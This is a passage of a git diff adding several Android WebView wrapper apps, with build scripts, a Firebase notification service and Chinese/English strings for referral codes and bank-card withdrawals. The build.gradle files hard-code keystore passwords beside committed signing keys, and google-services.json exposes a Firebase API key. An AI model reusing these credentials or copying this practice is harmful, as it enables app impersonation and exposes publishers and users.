持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/judi2u/src/main/res/values/themes.xml b/judi2u/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/judi2u/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/judi2u/src/main/res/xml/app_updater_paths.xml b/judi2u/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/judi2u/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/judi2u/src/main/res/xml/network_security_config.xml b/judi2u/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/judi2u/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/judi2u/src/main/res/xml/provider_paths.xml b/judi2u/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/judi2u/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/judi2u/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/judi2u/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/judi2u/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/kaki/.gitignore b/kaki/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/kaki/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/kaki/build.gradle b/kaki/build.gradle new file mode 100644 index 0000000..2ed51d9 --- /dev/null +++ b/kaki/build.gradle @@ -0,0 +1,90 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.kakikaki" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { +// debug { +// storeFile file('kakiss.jks') +// storePassword "123456" +// keyAlias 'key0' +// keyPassword "123456" +// } +// release { +// storeFile file('kakiss.jks') +// storePassword "123456" +// keyAlias 'key0' +// keyPassword "123456" +// } + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "kaki" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_all') +} \ No newline at end of file diff --git a/kaki/dskjweb.jks b/kaki/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/kaki/dskjweb.jks differ diff --git a/kaki/google-services.json b/kaki/google-services.json new file mode 100644 index 0000000..5bbfbea --- /dev/null +++ b/kaki/google-services.json @@ -0,0 +1,48 @@ +{ + "project_info": { + "project_number": "485048083755", + "project_id": "kaki-1a6f5", + "storage_bucket": "kaki-1a6f5.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:485048083755:android:210fd015909eacdc4b116e", + "android_client_info": { + "package_name": "com.web.kaki" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyBqIXHfY9DPJiaYujCofH2osNUsBmE2AWo" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + }, + { + "client_info": { + "mobilesdk_app_id": "1:485048083755:android:7e340972b9c56fed4b116e", + "android_client_info": { + "package_name": "com.web.kakikaki" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyBqIXHfY9DPJiaYujCofH2osNUsBmE2AWo" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/kaki/kaki.jks b/kaki/kaki.jks new file mode 100644 index 0000000..482d2be Binary files /dev/null and b/kaki/kaki.jks differ diff --git a/kaki/kakiss.jks b/kaki/kakiss.jks new file mode 100644 index 0000000..a783253 Binary files /dev/null and b/kaki/kakiss.jks differ diff --git a/kaki/ppn.jks b/kaki/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/kaki/ppn.jks differ diff --git a/kaki/proguard-rules.pro b/kaki/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/kaki/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/kaki/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/kaki/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/kaki/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/kaki/src/main/AndroidManifest.xml b/kaki/src/main/AndroidManifest.xml new file mode 100644 index 0000000..fc88b8a --- /dev/null +++ b/kaki/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kaki/src/main/java/com/web/kakikaki/MainActivity.java b/kaki/src/main/java/com/web/kakikaki/MainActivity.java new file mode 100644 index 0000000..b3fc561 --- /dev/null +++ b/kaki/src/main/java/com/web/kakikaki/MainActivity.java @@ -0,0 +1,47 @@ +package com.web.kakikaki; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 157; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://kakiscanner.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#01052a"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#01052a"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); + + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/kaki/src/main/java/com/web/kakikaki/MyFirebaseMessageingService.java b/kaki/src/main/java/com/web/kakikaki/MyFirebaseMessageingService.java new file mode 100644 index 0000000..a53cf3e --- /dev/null +++ b/kaki/src/main/java/com/web/kakikaki/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.kakikaki; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/kaki/src/main/java/com/web/kakikaki/WebApplication.java b/kaki/src/main/java/com/web/kakikaki/WebApplication.java new file mode 100644 index 0000000..8a3c743 --- /dev/null +++ b/kaki/src/main/java/com/web/kakikaki/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.kakikaki; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/kaki/src/main/res/drawable-anydpi/ic_action_back.xml b/kaki/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/kaki/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/kaki/src/main/res/drawable-hdpi/ic_action_back.png b/kaki/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/kaki/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/kaki/src/main/res/drawable-mdpi/ic_action_back.png b/kaki/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/kaki/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/kaki/src/main/res/drawable-v24/ic_launcher_foreground.xml b/kaki/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/kaki/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/kaki/src/main/res/drawable-xhdpi/ic_action_back.png b/kaki/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/kaki/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/kaki/src/main/res/drawable-xxhdpi/ic_action_back.png b/kaki/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/kaki/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/kaki/src/main/res/drawable/big_bg.xml b/kaki/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..0271569 --- /dev/null +++ b/kaki/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/kaki/src/main/res/drawable/ic_launcher_background.xml b/kaki/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/kaki/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/kaki/src/main/res/drawable/input_bg.xml b/kaki/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/kaki/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/kaki/src/main/res/drawable/pass_word_bg.xml b/kaki/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/kaki/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/kaki/src/main/res/drawable/pass_word_bg1.xml b/kaki/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/kaki/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/kaki/src/main/res/drawable/pass_word_bg2.xml b/kaki/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/kaki/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/kaki/src/main/res/drawable/shape_btn_bg.xml b/kaki/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/kaki/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kaki/src/main/res/drawable/shape_dialog_bg2.xml b/kaki/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/kaki/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/kaki/src/main/res/drawable/shape_dialog_bg3.xml b/kaki/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/kaki/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kaki/src/main/res/drawable/shape_dialog_bg_new.xml b/kaki/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/kaki/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kaki/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/kaki/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/kaki/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kaki/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/kaki/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/kaki/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kaki/src/main/res/mipmap-hdpi/ic_empty.png b/kaki/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/kaki/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/kaki/src/main/res/mipmap-hdpi/ic_pull_down.png b/kaki/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/kaki/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/kaki/src/main/res/mipmap-xhdpi/ic_close.png b/kaki/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/kaki/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/kaki/src/main/res/mipmap-xhdpi/ic_menu.png b/kaki/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/kaki/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/kaki/src/main/res/mipmap-xxhdpi/app_logo.jpg b/kaki/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..1b065c7 Binary files /dev/null and b/kaki/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/kaki/src/main/res/values-en/strings.xml b/kaki/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/kaki/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/kaki/src/main/res/values-night/themes.xml b/kaki/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..4319365 --- /dev/null +++ b/kaki/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kaki/src/main/res/values/colors.xml b/kaki/src/main/res/values/colors.xml new file mode 100644 index 0000000..f29d588 --- /dev/null +++ b/kaki/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #01052a + #FFFFFFFF + #EF4723 + #FFFFFFFF + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/kaki/src/main/res/values/strings.xml b/kaki/src/main/res/values/strings.xml new file mode 100644 index 0000000..c06afb5 --- /dev/null +++ b/kaki/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + KakiScanner + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kaki/src/main/res/values/themes.xml b/kaki/src/main/res/values/themes.xml new file mode 100644 index 0000000..010048c --- /dev/null +++ b/kaki/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kaki/src/main/res/xml/app_updater_paths.xml b/kaki/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/kaki/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/kaki/src/main/res/xml/network_security_config.xml b/kaki/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/kaki/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/kaki/src/main/res/xml/provider_paths.xml b/kaki/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/kaki/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/kaki/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/kaki/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/kaki/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/kakinew/.gitignore b/kakinew/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/kakinew/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/kakinew/build.gradle b/kakinew/build.gradle new file mode 100644 index 0000000..b1bec82 --- /dev/null +++ b/kakinew/build.gradle @@ -0,0 +1,77 @@ +plugins { + id 'com.android.application' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.justlet" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "kaki" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_all') +} \ No newline at end of file diff --git a/kakinew/dskjweb.jks b/kakinew/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/kakinew/dskjweb.jks differ diff --git a/kakinew/justlet.jks b/kakinew/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/kakinew/justlet.jks differ diff --git 